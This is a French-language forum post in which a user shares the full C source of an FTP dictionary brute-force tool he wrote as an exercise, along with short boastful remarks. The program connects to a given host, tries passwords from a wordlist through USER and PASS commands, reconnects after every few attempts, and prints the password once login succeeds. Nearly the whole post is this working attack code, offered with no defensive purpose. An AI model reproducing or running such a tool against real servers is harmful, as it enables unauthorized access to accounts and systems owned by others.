btrute force ftp aattaque par dico

Moderator: Mod

btrute force ftp aattaque par dico

Postby LECHIENKITU » Thu Feb 25, 2010 2:19 am

Yop all =}
Après m'avoir proposer un exo sur le canal irc, qui était "coder un brute force ftp", bah à ma grande surprise j'y suis arrivé (dire qu'il y'a 2 mois de ça je me disais "haha, le truc que je ne saurais jamais faire", "les sockets trop dur" :-°), donc, voilà le code =) Bon bien sûr c'est pas du joli joli.

[code:1:920e57712b]/*
Brute Force FTP codé par lechienkitu.
22/02/2010
Remerciments:
à pp, pour m'avoir filer une ligne qu'il fallait bien placer x)
à webs, pour m'avoir fait un petit compte sur son serveur, ce qui m'a permis de bien test.
à la RFC qui r0x 100% =).
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <unistd.h>
#include <netdb.h>

int main(int argc, char **argv)
{
if(argc != 5)
{
printf("Syntaxe: %s IP_HOST PORT USER FILE_PASSWORD\n",argv[0]);
exit(1);
}
int s;
int n;
char pass[100];
char rec[500];
char msg[100];
FILE* f = NULL;
struct sockaddr_in client;
n = 0;
s = socket(AF_INET, SOCK_STREAM, 0);
client.sin_family = AF_INET;
client.sin_port = htons(atoi(argv[2]));
client.sin_addr.s_addr = inet_addr(argv[1]);
f = fopen(argv[4],"r");

if(connect(s, (struct sockaddr*)&client, sizeof(client)) == -1)
{
perror("[-] Connect socket...Fail ");
fclose(f);
close(s);
exit(1);
}
printf("[+] Connect socket...Ok\n");
while(1)
{
if(n==3)
{
close(s);
s = socket(AF_INET, SOCK_STREAM, 0);
if(connect(s,(struct sockaddr*) &client, sizeof(client)) == -1)
{
perror("[-] Socke REconnect fail ");
fclose(f);
exit(1);
}
n = 0;
}
snprintf(msg, sizeof(msg), "USER %s\r\n",argv[3]);
if(send(s,msg,strlen(msg),0)==-1)
{
perror("[-] User send fail ");
fclose(f);
close(s);
exit(1);
}
printf("[+] User send...Ok\n");
recv(s,rec,sizeof(rec),0);
fgets(pass, 99, f);
if(rec[0] == '3' && rec[1] == '3' && rec[2] == '1')
{
snprintf(msg, sizeof(msg), "PASS %s\r\n", pass);
if(send(s, msg, strlen(msg), 0)==-1)
{
perror("[-] PASS send fail ");
fclose(f);
close(s);
exit(1);
}
printf("PASSWORD EN COURS DE VERIF... %s\n", pass);
}

recv(s,rec,sizeof(rec),0);
if(rec[0] == '2' && rec[1] == '3' && rec[2] == '0')
{
printf("LE PASSWORD EST: %s\n",pass);
exit(0);
}
n++;
}

close(s);
fclose(f);

return 0;
}
[/code:1:920e57712b]
Voilà, j'suis fier de moi 8) Même si le code est bof :/ Mais je compte en faire une V2 un peu plus approfondie et niveau socket, mieux travailler ^^

@++
LECHIENKITU
Projets
 
Posts: 177
Joined: Wed Apr 01, 2009 4:12 am

Return to C/C++

Who is online

Users browsing this forum: No registered users and 1 guest

cron